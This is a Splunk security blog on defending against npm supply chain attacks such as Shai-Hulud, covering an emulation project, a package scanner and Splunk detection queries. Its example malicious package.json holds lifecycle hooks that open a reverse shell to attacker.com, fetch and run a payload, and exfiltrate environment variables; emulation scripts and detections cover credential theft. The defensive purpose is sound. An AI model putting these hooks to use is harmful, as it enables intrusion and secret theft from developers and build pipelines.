Defending Against npm Supply Chain Attacks: A Practical Guide to Detection, Emulation, and Analysis

The npm ecosystem has become one of the most critical and vulnerable components of modern software development. With over 2.5 million packages and billions of weekly downloads, npm represents an irresistible target for attackers seeking to compromise software supply chains at scale. The mathematics are simple but interesting: compromise a single popular package, and you potentially gain access to thousands of downstream applications and their production environments.

Recent attacks have demonstrated that adversaries are no longer content with simple typosquatting or credential theft. They're deploying sophisticated, self-propagating worms that automatically spread across package ecosystems, injecting malicious code into legitimate packages, and weaponizing the very tools developers trust. The September 2025 Shai-Hulud attack, which infected over 500 npm packages in a coordinated supply chain compromise, marked a watershed moment in supply chain security, showcasing techniques that defenders must now prepare for as standard adversary tradecraft.

The challenge for defenders is threefold:

  1. Understanding the Attack Surface: npm's lifecycle hooks (preinstall, install, postinstall, etc.) provide multiple execution points where malicious code can run with the privileges of the installing user. Build systems and CI/CD pipelines are particularly vulnerable, often running with elevated credentials and access to production secrets.
  2. Detection Gap: Traditional security tools struggle with supply chain attacks because the malicious behavior occurs during seemingly legitimate operations (package installation). The code executes before most runtime security controls activate, and the malicious payloads often masquerade as build tools or development dependencies.
  3. Testing and Validation: Security teams need safe, controlled ways to test their detection capabilities against realistic supply chain attack techniques without risking actual compromise.
  4. Splunk Security Content: Security content designed to assist defenders in hunting and identifying suspicious npm behavior.

This blog addresses all four challenges by introducing two complementary tools designed specifically for npm supply chain security: npm-threat-emulation for safe adversary simulation and Package-Inferno for deep package analysis. Together, they provide defenders with the capabilities needed to understand, detect, and respond to modern npm supply chain threats. The Splunk Threat Research Team (STRT) will also cover current npm attack scenarios and how we can use ESCU to hunt and detect malicious behavior.

The Evolution of npm Supply Chain Attacks

While Shai-Hulud captured headlines in September 2025, it represents just one manifestation of an accelerating threat trend. Recent months have witnessed multiple sophisticated supply chain attacks:

September 8, 2025 - The "qix" Compromise: Attackers used a sophisticated phishing campaign against maintainer Josh Junon (qix), compromising his npm account through a fake domain (npmjs.help). This single compromise cascaded into 18 packages including chalk, debug, ansi-styles, and strip-ansi, collectively accounting for 2.6 billion weekly downloads. The malicious payload targeted cryptocurrency wallets, intercepting transactions and redirecting funds to attacker-controlled addresses across multiple blockchain platforms (Ethereum, Bitcoin, Solana, Tron, Litecoin, Bitcoin Cash).

September 2025 - Shai-Hulud Worm: The first self-propagating worm in the npm ecosystem, affecting 500+ packages. The attack employed multiple advanced techniques:

Key Technical Evolution:

  1. Package Patching: Rather than just adding malicious lifecycle hooks, attackers now modify locally installed legitimate packages (like ethers provider-jsonrpc.js), creating persistent backdoors that survive dependency updates.
  2. Worm Mechanics: Self-replicating code that uses stolen npm tokens to automatically compromise and republish all packages owned by compromised maintainers—creating exponential spread.
  3. Phishing Sophistication: Attack vectors now include convincing 2FA reset flows, fake npm support domains with valid SSL certificates, and time-pressured urgency tactics ("48-hour deadline to avoid account lockout").
  4. Browser-Targeted Payloads: Malicious code increasingly targets browser environments, intercepting Web3 API calls and cryptocurrency transactions rather than just stealing server-side credentials.
  5. CI/CD Exploitation: Malware specifically targets build environments with elevated credentials, harvesting GitHub PATs, AWS keys, and other high-value secrets from environment variables and CI/CD platforms.

Understanding the npm Attack Surface

npm's package lifecycle system is designed to automate build steps, compilation, and setup tasks. However, these same hooks provide attackers with multiple automatic execution points during normal package operations. Here's what a malicious package.json might look like:

title
JSON
label
Malicious package.json
type
json
snippet
json
{
  "name": "malicious-package",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl -X POST https://attacker.com/pre -d \"stage=pre&host=$HOSTNAME\"",
    "install": "node -e \"require('child_process').exec('bash -c \\'bash -i >& /dev/tcp/attacker.com/4444 0>&1\\'')\"",
    "postinstall": "wget https://attacker.com/payload.sh -O /tmp/p.sh && bash /tmp/p.sh",
    "prepare": "python3 -c \"import os,base64,urllib.request;urllib.request.urlopen('https://attacker.com/exfil',data=base64.b64encode(str(os.environ).encode()))\"",
    "preuninstall": "node -e \"require('fs').appendFileSync(process.env.HOME+'/.bashrc','\\nexport MALICIOUS=1\\n')\"",
    "postuninstall": "curl https://attacker.com/cleanup -d \"removed=true\""
  }
}
showcopybutton
true

How Each Hook Works

preinstall - Executes before the package is installed, before dependencies are resolved. This runs first, making it ideal for attackers to establish initial foothold or reconnaissance.

title
Bash
label
preinstall
type
bash
snippet

bash

# Runs FIRST when someone does: npm install malicious-package

# Attacker use: Environment reconnaissance, initial C2 check-in

showcopybutton
true

install - Runs during the actual installation process, after dependencies are installed but before the package is fully set up.

title
Bash
label
install
type
bash
snippet

bash

# Runs SECOND during: npm install malicious-package

# Attacker use: Download additional payloads, establish persistence

showcopybutton
true

postinstall - Executes after the package and all dependencies are installed. This is the most commonly abused hook because the full dependency tree is available and the installation appears to have "completed successfully."

title
Bash
label
postinstall
type
bash
snippet

bash

# Runs THIRD, at the end of: npm install malicious-package

# Attacker use: Credential harvesting, data exfiltration, backdoor installation

showcopybutton
true

prepare - Runs before package is packed and published, and also runs on local npm install without arguments. This executes in both publisher and consumer environments.

title
Bash
label
prepare
type
bash
snippet

bash

# Runs during: npm install (no arguments), npm pack, npm publish

# Attacker use: Dual-purpose - compromise maintainers AND users

showcopybutton
true

preuninstall / postuninstall - Execute when a package is being removed. Attackers use these for anti-forensics and persistence.

title
Bash
label
preuninstall / postuninstall
type
bash
snippet

bash

# Runs during: npm uninstall malicious-package

# Attacker use: Leave backdoors even after "removal", cover tracks

showcopybutton
true

Execution Context and Privileges

The critical danger is that these scripts run with the full privileges of the user executing npm install. In most environments, this means:

Developer Workstations:

CI/CD Pipelines (High-Value Targets):

Lifecycle hooks represent the lowest-effort, highest-impact attack method for several reasons:

  1. Automatic Execution - No user interaction required beyond npm install. The code runs silently during what appears to be a normal, trusted operation.
  2. Universal Applicability - Every npm package can have lifecycle hooks. There are no special configuration or elevated permissions required to add them.
  3. Legitimate Usage Masks Malice - Many packages legitimately use postinstall for compilation (node-gyp), downloads (puppeteer fetching Chrome), or setup tasks. This makes behavioral detection challenging.
  4. Trust Exploitation - Organizations implicitly trust the npm ecosystem. When they run npm install, they don't expect it to execute arbitrary code from hundreds of packages.
  5. CI/CD Amplification - A single malicious package installed in a CI/CD pipeline can harvest credentials that provide access to:

Real-World Example: The Shai-Hulud Attack Chain

title
JSON
label
Shai-Hulud Attack Chain
type
json
snippet

{

"scripts": {

"postinstall": "node scripts/bundle.js"

}

}

showcopybutton
true

This innocent-looking postinstall hook triggered bundle.js, which:

  1. Downloaded TruffleHog secret scanner
  2. Scanned the filesystem for credentials (.git, .env, cloud configs)
  3. Validated GitHub tokens by querying the API
  4. Created public "Shai-Hulud" repositories containing stolen secrets
  5. Injected malicious GitHub Actions workflows into all accessible repos
  6. Used stolen npm tokens to republish malicious versions of other packages
  7. Cleaned up temporary files to evade forensics

All of this happened automatically during npm install, within seconds, before the developer even saw the command prompt return.

NPM-Threat-Emulation

Npm or other package management applications are not disappearing anytime soon. Defenders need to keep pace with npm or the next one. In this particular instance, we developed npm-threat-emulation to walk defenders through scenarios related to Shai Halud but also expand on it by sharing atomic tests that provide point testing for different life cycle hooks across both Windows and Linux. The project provides a way to safely create packages that perform the same actions as what we see in the wild.

How to use it on Linux/macOS

From the repo root, the smoothest path is to spin up the local mock webhook server and export the environment in your current shell, then run the orchestrator that triggers each lifecycle demo once. This creates an isolated .test-project, installs the local demo packages to fire their hooks, and posts structured events you can inspect.

title
Bash
label
NPM-Threat-Emulation on Linux/macOS
type
bash
snippet
# From the repo rootsource ./setup_test_env.sh
# Run all lifecycle and download demos./npm-lifecycle-hooks/run_all.sh
showcopybutton
true

After it finishes, you’ll see webhook events captured under tmp/payload_*.bin (and logs in tmp/mock.log). The test project lives under npm-lifecycle-hooks/.test-project/ so it stays out of your workspace. If you need a clean slate, you can run:

title
Bash
type
bash
snippet
./reset_between_tests.sh
showcopybutton
true

How to use it on Windows

On Windows, the PowerShell setup script initializes a local mock server and environment variables for you, and the runner script drives all of the lifecycle demos in a disposable .test-project. You can call the runner directly, if the environment isn’t ready, it will fall back to running setup automatically but showing both steps is explicit and reliable.

title
Bash
label
NPM-Threat-Emulation on Windows
type
bash
snippet
# From the repo root (PowerShell)cd .\windows.\Setup-TestEnvironment.ps1
cd .\npm-lifecycle-hooks.\Run-All.ps1
showcopybutton
true

When it completes, events are delivered to your configured webhook (the setup script defaults to the local mock server), and you can review artifacts under the repo’s tmp\ directory. To reset between demos:

title
Bash
type
bash
snippet
.\Reset-BetweenTests.ps1
showcopybutton
true

That’s all you need to get repeatable, observable signals for the lifecycle phases across both platforms, with everything contained to a temporary test project and the repo’s tmp/ folder.

Let’s dive into some of the Atomic tests for both Windows and Linux/Mac.

Windows: one Shai‑Hulud example, one lifecycle hook

On Windows, an example Shai‑Hulud is the migration‑themed repo weaponization. It spins up a disposable repository, stages a fake data.json with simulated credentials and environment info, and commits the lot - exactly the kind of “too-convenient” artifact trail blue teams should recognize, but entirely safe to run.

Scenario-8.ps1

title
PowerShell
label
Scenario-8.ps1
type
powershell
snippet
try {
git init 2>$null | Out-Null
Write-Host "Initialized git repository: $WorkDir" -ForegroundColor Cyan
}
catch {
Write-Host "Git init failed (git may not be installed)" -ForegroundColor Yellow
}


$dataFile = @{
timestamp = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ssZ")
stolen_secrets = @{
github_token = $env:FAKE_GITHUB_TOKEN
npm_token = $env:FAKE_NPM_TOKEN
aws_credentials = @{
access_key = $env:FAKE_AWS_KEY
secret_key = "fake_secret_123"
}
}
showcopybutton
true

For lifecycle behavior on Windows, the preinstall demo keeps things intentionally small. When the package is installed, npm invokes a PowerShell script that announces the phase and posts a JSON event to your webhook (or the local mock server if you haven’t set one).

Preinstall.ps1

title
PowerShell
label
Preinstall.ps1
type
powershell
snippet
$Webhook = if ($env:MOCK_WEBHOOK) { $env:MOCK_WEBHOOK } else { "http://localhost:8080/webhook-receiver" }
$HostName = [System.Net.Dns]::GetHostName()
$payload = @{ phase = "preinstall"; package = "ntl-win-preinstall"; host = $HostName } | ConvertTo-Json -Depth 5
Write-Host "[preinstall] sending event to $Webhook"
try {
Invoke-RestMethod -Uri $Webhook -Method POST -ContentType "application/json" -Body $payload -TimeoutSec 10 | Out-Null
} catch {}
Write-Host "[preinstall] done"
showcopybutton
true

Linux/macOS: one Shai‑Hulud example, one lifecycle hook

On Linux/mac, a different Shai‑Hulud example demonstrates workflow injection. While a background npm install runs, the script writes a minimal .github/workflows/shai-hulud-workflow.yml with a mock “collect and post” step, then exits cleanly. You get the exact file system signal analysts key on, without moving any real secrets.

Scenario_3.sh

title
Bash
label
Scenario_3.sh
type
bash
snippet
timeout 10 npm install test-package >/dev/null 2>&1 &
NPM_PID=$!
sleep 1
showcopybutton
true
title
YAML
label
Scenario_3.sh
type
yaml
snippet
cat > .github/workflows/shai-hulud-workflow.yml << 'EOF'
name: Shai-Hulud Test Workflow
on: [push]
jobs:
exfiltrate:
runs-on: ubuntu-latest
steps:
- name: Collect secrets
run: |
echo "Fake secret collection"
curl -X POST $MOCK_WEBHOOK -d "secrets=${{ secrets.GITHUB_TOKEN }}"
EOF
showcopybutton
true

For lifecycle behavior on Unix‑like systems, a simple postinstall variant uses Node’s child_process.spawn to call curl and emit a structured webhook event. It’s a small but realistic demonstration of “script executes automatically during install, spawns a child process, reaches the network.”

Postinstall.js

title
JavaScript
label
Postinstall.js
type
javascript
snippet
#!/usr/bin/env node
const { spawn } = require('child_process');
const os = require('os');
const webhook = process.env.MOCK_WEBHOOK || 'http://localhost:8080/webhook-receiver';
const payload = JSON.stringify({
phase: 'postinstall',
package: 'ntl-demo-postinstall-node-spawn',
host: os.hostname(),
method: 'node_spawn'
});
// Resolve curl path for each OS
let curlPath = '/usr/bin/curl';
if (process.platform === 'win32') {
const systemRoot = process.env.SystemRoot || 'C://Windows';
curlPath = `${systemRoot}\\System32\\curl.exe`;
}
const args = ['-s', '-X', 'POST', webhook, '-H', 'Content-Type: application/json', '-d', payload];
showcopybutton
true
(NPM Threat Emulation Flow, Splunk 2026)

All of these are safe, atomic, and designed to be observable. If you want to dig deeper into detections and additional scenarios, check out the rest of the NPM-Threat-Emulation project for more end‑to‑end emulations you can tailor to your environment.

Package-Inferno

Package-Inferno: Deep Package Analysis at Scale

While npm-threat-emulation helps you test your defenses, Package-Inferno gives you the capability to scan and analyze npm packages for malicious behavior before they enter your environment. This Docker-first, open-source scanner performs static behavioral analysis to detect the exact patterns we've been discussing: typosquatting, credential theft, data exfiltration, and malicious lifecycle hooks.

Why Behavioral Analysis Matters

Traditional vulnerability scanners miss supply chain attacks entirely. They look for CVE matches in package manifests, they won't catch a clean-versioned package that downloads remote scripts during installation, steals your AWS credentials from environment variables, or uses obfuscated code that only activates in production.

Package-Inferno detects behavioral threats:

Getting Started in Under 60 Seconds

All you need is Docker. Clone the repo and run the automated validation:

title
Bash
label
Package-Inferno
type
bash
snippet
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
./scripts/test_setup.sh
showcopybutton
true

This validates your setup, initializes the database, and runs a test scan against known packages to confirm everything works.

Scan Your Dependencies

Check the packages you actually use:

title
Bash
label
Scan Dependencies
type
bash
snippet
# Scan specific packages
export SEEDS="axios,lodash,express,react"
./scripts/run_pipeline.sh

# Or scan from your package.json
cat package.json | jq -r '.dependencies | keys[]' > my-deps.txt
export SEEDS_FILE=my-deps.txt
./scripts/run_pipeline.sh
showcopybutton
true

Results are stored in a Postgres database and JSON files. Launch the Streamlit dashboard to explore findings:

title
Bash
label
Launch Streamlit dashboard
type
bash
snippet
docker compose up -d dashboard
# Open http://localhost:8501
showcopybutton
true

What We Found at Scale

To validate Package-Inferno's detection capabilities, we ran a comprehensive 15-day scanning operation using AWS infrastructure (SQS for job queuing, RDS for data storage, EC2 for compute). The results demonstrate the scale of suspicious behavior in the npm ecosystem:

Important Context: These are findings and signals, not confirmed malicious packages. Every detection requires human verification before being classified as truly malicious. Package-Inferno flags suspicious behavioral patterns, lifecycle hooks that spawn shells, obfuscated code, connections to non-allowlisted domains, credential access patterns, but context matters. A package legitimately compiling native modules will trigger findings that may be completely benign.

The real power is in visibility. During our initial validation of just 22 randomly sampled packages, we discovered behavioral patterns that warranted deeper investigation:

rendition package - 606 points

vs-deploy package - 454 points, 119 findings

--123hoodmane-pyodide - 213 points, 46 findings

The Visibility Advantage

Here's what makes Package-Inferno different: you can see exactly what triggered each finding. These packages weren't flagged by some opaque machine learning model or proprietary heuristic. Every detection comes from explicit, auditable rules in the analyzer code:

title
Python
label
analyzer.py
type
python
snippet
# From analyzer.py - Environment credential detection
ENV_KEYS_RE = re.compile(
    r'process\.env\.(AWS_[A-Z0-9_]+|GITHUB_[A-Z0-9_]+|NPM_TOKEN|'
    r'NODE_AUTH_TOKEN|DOCKER[A-Z0-9_]*|AZURE[A-Z0-9_]*)',
    re.I
)

# Obfuscation technique detection
def analyze_obfuscation(content: bytes) -> dict:
    techniques = []
    # Hex encoding detection
    if re.findall(r'\\?x[0-9a-fA-F]{2}(?:\s*\\?x[0-9a-fA-F]{2})+', text):
        techniques.append('hex_encoding')
    # XOR encryption patterns
    if re.search(r'String\.fromCharCode\([^)]*\^|\.charCodeAt\([^)]*\)\s*\^', text):
        techniques.append('xor_encryption')
    return techniques
showcopybutton
true

You're not trusting a black box, you're reviewing specific code patterns that the analyzer found. If you think a detection is too aggressive, adjust it. If you need to detect organization-specific threats, add custom rules. This is security through transparency, not security through obscurity.

These three packages - rendition, vs-deploy, and --123hoodmane-pyodide, demonstrate why visibility matters. They weren't in CVE databases. They had valid version numbers. They installed without errors. Traditional vulnerability scanners would have approved them without question because they only check for known vulnerabilities.

Package-Inferno revealed what these packages actually do: network connections to suspicious infrastructure, obfuscated code designed to hide functionality, access to credentials and secrets. Security teams can't defend against threats they can't see. Package-Inferno makes the invisible visible, giving you the signals needed to investigate, validate, and protect your supply chain.

Key Features

Interactive Dashboard

Customizable Detection

Flexible Deployment

Try It Yourself

The project is fully documented in the repository with comprehensive guides:

Package-Inferno on GitHub

Package-Inferno welcomes community contributions. If you discover new attack patterns, improve performance, or enhance documentation - pull requests are welcome.

The npm supply chain threat is real and active. Don't wait for a breach to gain visibility into what your dependencies are actually doing. Scan your packages today.

Detections

STRT has developed comprehensive detection coverage for the npm supply chain compromise campaigns, including the Shai-Hulud worm and its evolved 2.0 variant. The NPM Supply Chain Compromise Analytic Story contains 6 new detections plus 20 tagged existing detections covering the full attack chain from initial compromise through credential exfiltration.

Shai-Hulud Workflow File Creation or Modification

This detection identifies creation or modification of malicious GitHub Actions workflow files associated with Shai-Hulud worm variants on both Linux and Windows endpoints. The analytic looks for the original shai-hulud-workflow.yml, the 2.0 backdoor discussion.yaml (which enables command injection via GitHub Discussions on self-hosted runners named "SHA1HULUD"), and the secrets exfiltration workflow pattern formatter_*.yml. These files are the primary mechanism for credential exfiltration and cross-repository propagation.

title
Splunk SPL
label
Shai-Hulud Workflow File Creation or Modification
type
splunk-spl
snippet
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime

from datamodel=Endpoint.Filesystem where

Filesystem.file_path IN (
"*/.github/workflows/discussion.yaml",
"*/.github/workflows/discussion.yml",
"*/.github/workflows/formatter_*.yaml",
"*/.github/workflows/formatter_*.yml",
"*/.github/workflows/shai-hulud-workflow.yaml",
"*/.github/workflows/shai-hulud-workflow.yml",
"*/.github/workflows/shai-hulud.yaml",
"*/.github/workflows/shai-hulud.yml",
"*\.github\workflows\discussion.yaml",
"*\.github\workflows\discussion.yml",
"*\.github\workflows\formatter_*.yaml",
"*\.github\workflows\formatter_*.yml",
"*\.github\workflows\shai-hulud-workflow.yaml",
"*\.github\workflows\shai-hulud-workflow.yml",
"*\.github\workflows\shai-hulud.yaml",
"*\.github\workflows\shai-hulud.yml"
)

by Filesystem.action Filesystem.dest Filesystem.file_access_time Filesystem.file_create_time
   Filesystem.file_hash Filesystem.file_modify_time Filesystem.file_name Filesystem.file_path
   Filesystem.file_acl Filesystem.file_size Filesystem.process_guid Filesystem.process_id
   Filesystem.user Filesystem.vendor_product

| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `shai_hulud_workflow_file_creation_or_modification_filter`
showcopybutton
true

Shai-Hulud 2 Exfiltration Artifact Files

This detection identifies creation of exfiltration artifact files unique to the Shai-Hulud 2.0 campaign on both Linux and Windows. The malware creates cloud.json, contents.json, environment.json, truffleSecrets.json, and actionsSecrets.json files containing harvested credentials from AWS, Azure, GCP, GitHub secrets, and environment variables. These files are staged locally before being pushed to attacker-controlled repositories for collection.

title
Splunk SPL
label
Shai-Hulud 2 Exfiltration Artifact Files
type
splunk-spl
snippet
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime

from datamodel=Endpoint.Filesystem where

Filesystem.file_name IN (
  "cloud.json",
  "contents.json",
  "environment.json",
  "truffleSecrets.json",
  "actionsSecrets.json"
)

by Filesystem.action Filesystem.dest Filesystem.file_access_time Filesystem.file_create_time
   Filesystem.file_hash Filesystem.file_modify_time Filesystem.file_name Filesystem.file_path
   Filesystem.file_acl Filesystem.file_size Filesystem.process_guid Filesystem.process_id
   Filesystem.user Filesystem.vendor_product

| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `shai_hulud_2_exfiltration_artifact_files_filter`
showcopybutton
true

GitHub Workflow File Creation or Modification (Hunting)

This hunting query tracks ALL GitHub Actions workflow file activity under .github/workflows directories across the organization's Linux and Windows endpoints. By monitoring workflow file modifications over time, defenders can establish baselines of legitimate CI/CD workflow creation patterns, identify unusual or unauthorized changes, and detect anomalies that may indicate supply chain compromise. This is essential for detecting attacks like Shai-Hulud that inject malicious workflows across multiple repositories.

title
Splunk SPL
label
GitHub Workflow File Creation or Modification (Hunting)
type
splunk-spl
snippet
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime

from datamodel=Endpoint.Filesystem where

Filesystem.file_path IN (
  "*/.github/workflows/*.yaml",
  "*/.github/workflows/*.yml",
  "*\.github\workflows\*.yaml",
  "*\.github\workflows\*.yml"
)

by Filesystem.action Filesystem.dest Filesystem.file_access_time Filesystem.file_create_time
   Filesystem.file_hash Filesystem.file_modify_time Filesystem.file_name Filesystem.file_path
   Filesystem.file_acl Filesystem.file_size Filesystem.process_guid Filesystem.process_id
   Filesystem.user Filesystem.vendor_product

| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `github_workflow_file_creation_or_modification_filter`
showcopybutton
true

Windows Shai-Hulud Workflow File Modification

Windows-specific detection for malicious GitHub Actions workflow files associated with Shai-Hulud worm variants. This includes the original shai-hulud-workflow.yml, the 2.0 backdoor discussion.yaml, and the secrets exfiltration workflow formatter_*.yml pattern.

title
Splunk SPL
label
Windows Shai-Hulud Workflow File Modification
type
splunk-spl
snippet
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem where Filesystem.file_path IN (
  "*\.github\workflows\shai-hulud-workflow.yml",
  "*\.github\workflows\shai-hulud-workflow.yaml",
  "*\.github\workflows\shai-hulud.yml",
  "*\.github\workflows\shai-hulud.yaml",
  "*\.github\workflows\discussion.yaml",
  "*\.github\workflows\discussion.yml",
  "*\.github\workflows\formatter_*.yml",
  "*\.github\workflows\formatter_*.yaml"
)
by Filesystem.action Filesystem.dest Filesystem.file_access_time Filesystem.file_create_time
   Filesystem.file_hash Filesystem.file_modify_time Filesystem.file_name Filesystem.file_path
   Filesystem.file_acl Filesystem.file_size Filesystem.process_guid Filesystem.process_id
   Filesystem.user Filesystem.vendor_product

| `drop_dm_object_name(Filesystem)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| `windows_shai_hulud_workflow_file_modification_filter`
showcopybutton
true

New Analytics Summary (6 Total)

Detection
Type
Platform
Description
Shai-Hulud Workflow File Creation or Modification
TTP
Linux + Windows
Detects malicious workflow files: shai-hulud-workflow.yml, discussion.yaml, formatter_*.yml
Shai-Hulud 2 Exfiltration Artifact Files
TTP
Linux + Windows
Detects 2.0 exfil artifacts: cloud.json, contents.json, environment.json, truffleSecrets.json, actionsSecrets.json
GitHub Workflow File Creation or Modification
Hunting
Linux + Windows
Hunt for ANY workflow YAML activity under .github/workflows/
Windows Shai-Hulud Workflow File Modification
TTP
Windows
Windows-specific Shai-Hulud workflow detection
Windows Suspicious GitHub Workflow File Modification
Hunting
Windows
Windows-specific workflow modification hunt

Tagged Existing Analytics (20 Total)

These existing detections provide coverage for behaviors observed in npm lifecycle hook abuse and Shai-Hulud campaigns:

Download & Execution (Cross-Platform)

Detection
Coverage
File Download or Read to Pipe Execution
Curl/wget piped to shell execution - primary malware delivery pattern in npm lifecycle hooks

Linux Ingress & Exfiltration

Detection
Coverage
Linux Ingress Tool Transfer with Curl
Curl downloading payloads during preinstall/postinstall hooks
Linux Ingress Tool Transfer Hunting
Hunt for curl/wget download activity
Linux Curl Upload File
Curl uploading AWS credentials and sensitive data (credential exfiltration)

Windows Network Tools

Detection
Coverage
Windows Curl Download to Suspicious Path
Curl downloading to suspicious locations
Windows Curl Upload to Remote Destination
Curl exfiltration of harvested credentials
Windows File Download Via PowerShell
PowerShell download methods (DownloadString, Invoke-WebRequest) used in Windows lifecycle hooks

GitHub Enterprise Audit Logs

Detection
Coverage
GitHub Enterprise Register Self Hosted Runner
Detects registration of self-hosted runners - Shai-Hulud 2.0 registers backdoor runners named "SHA1HULUD"
GitHub Enterprise Pause Audit Log Event Stream
Attackers may pause audit logging to hide activity
GitHub Enterprise Modify Audit Log Event Stream
Modification of audit log streaming configuration
GitHub Enterprise Disable Audit Log Event Stream
Complete disabling of audit log streaming
GitHub Enterprise Delete Branch Ruleset
Deletion of branch protection rules to allow malicious commits
GitHub Enterprise Repository Deleted
Repository deletion may indicate cleanup or destruction
GitHub Enterprise Repository Archived
Archiving repositories to prevent further investigation
GitHub Organizations Repository Deleted
Organization-level repository deletion
GitHub Organizations Repository Archived
Organization-level repository archiving
GitHub Organizations Delete Branch Ruleset
Organization-level branch protection rule deletion

Learn More

This blog helps security analysts, blue teamers, and Splunk users identify NPM supply chain-based attacks or suspicious behavior related tactics, techniques, and procedures used by threat actors and adversaries. You can implement the detections in this blog using the Enterprise Security Content Updates app or the Splunk Security Essentials app. To view the Splunk Threat Research Team's complete security content repository, visit research.splunk.com.

Feedback

Any feedback or requests? Feel free to put in an issue on Github and we’ll follow up. Alternatively, join us on the Slack channel #security-research. Follow these instructions If you need an invitation to our Splunk user groups on Slack.

Contributors

We would like to thank Michael Haag for authoring this post and the entire Splunk Threat Research Team for their contributions: Teoderick Contreras, Nasreddine Bencherchali, Lou Stella, Bhavin Patel, Rod Soto, Eric McGinnis, Patrick Bareiss, Raven Tait and Jose Hernandez.

Related Articles

Defending Against npm Supply Chain Attacks: A Practical Guide to Detection, Emulation, and Analysis
Security
18 Minute Read

Defending Against npm Supply Chain Attacks: A Practical Guide to Detection, Emulation, and Analysis

Protect your software supply chain from npm attacks. Learn to use Package-Inferno and npm-threat-emulation for deep analysis and detection with Splunk SPL.
Delivering the Ultimate SOC Analyst Experience: Ending Fatigue with Splunk Enterprise Security
Security

Delivering the Ultimate SOC Analyst Experience: Ending Fatigue with Splunk Enterprise Security

End SOC analyst fatigue with Splunk Enterprise Security. Discover how unified TDIR, Agentic AI, and automation transform security operations, streamline investigations, and empower your team.
Splunk Security Content for Threat Detection & Response: December Recap
Security
1 minute read

Splunk Security Content for Threat Detection & Response: December Recap

In December, the Splunk Threat Research Team had 1 release of new security content via the Enterprise Security Content Update (ESCU) app.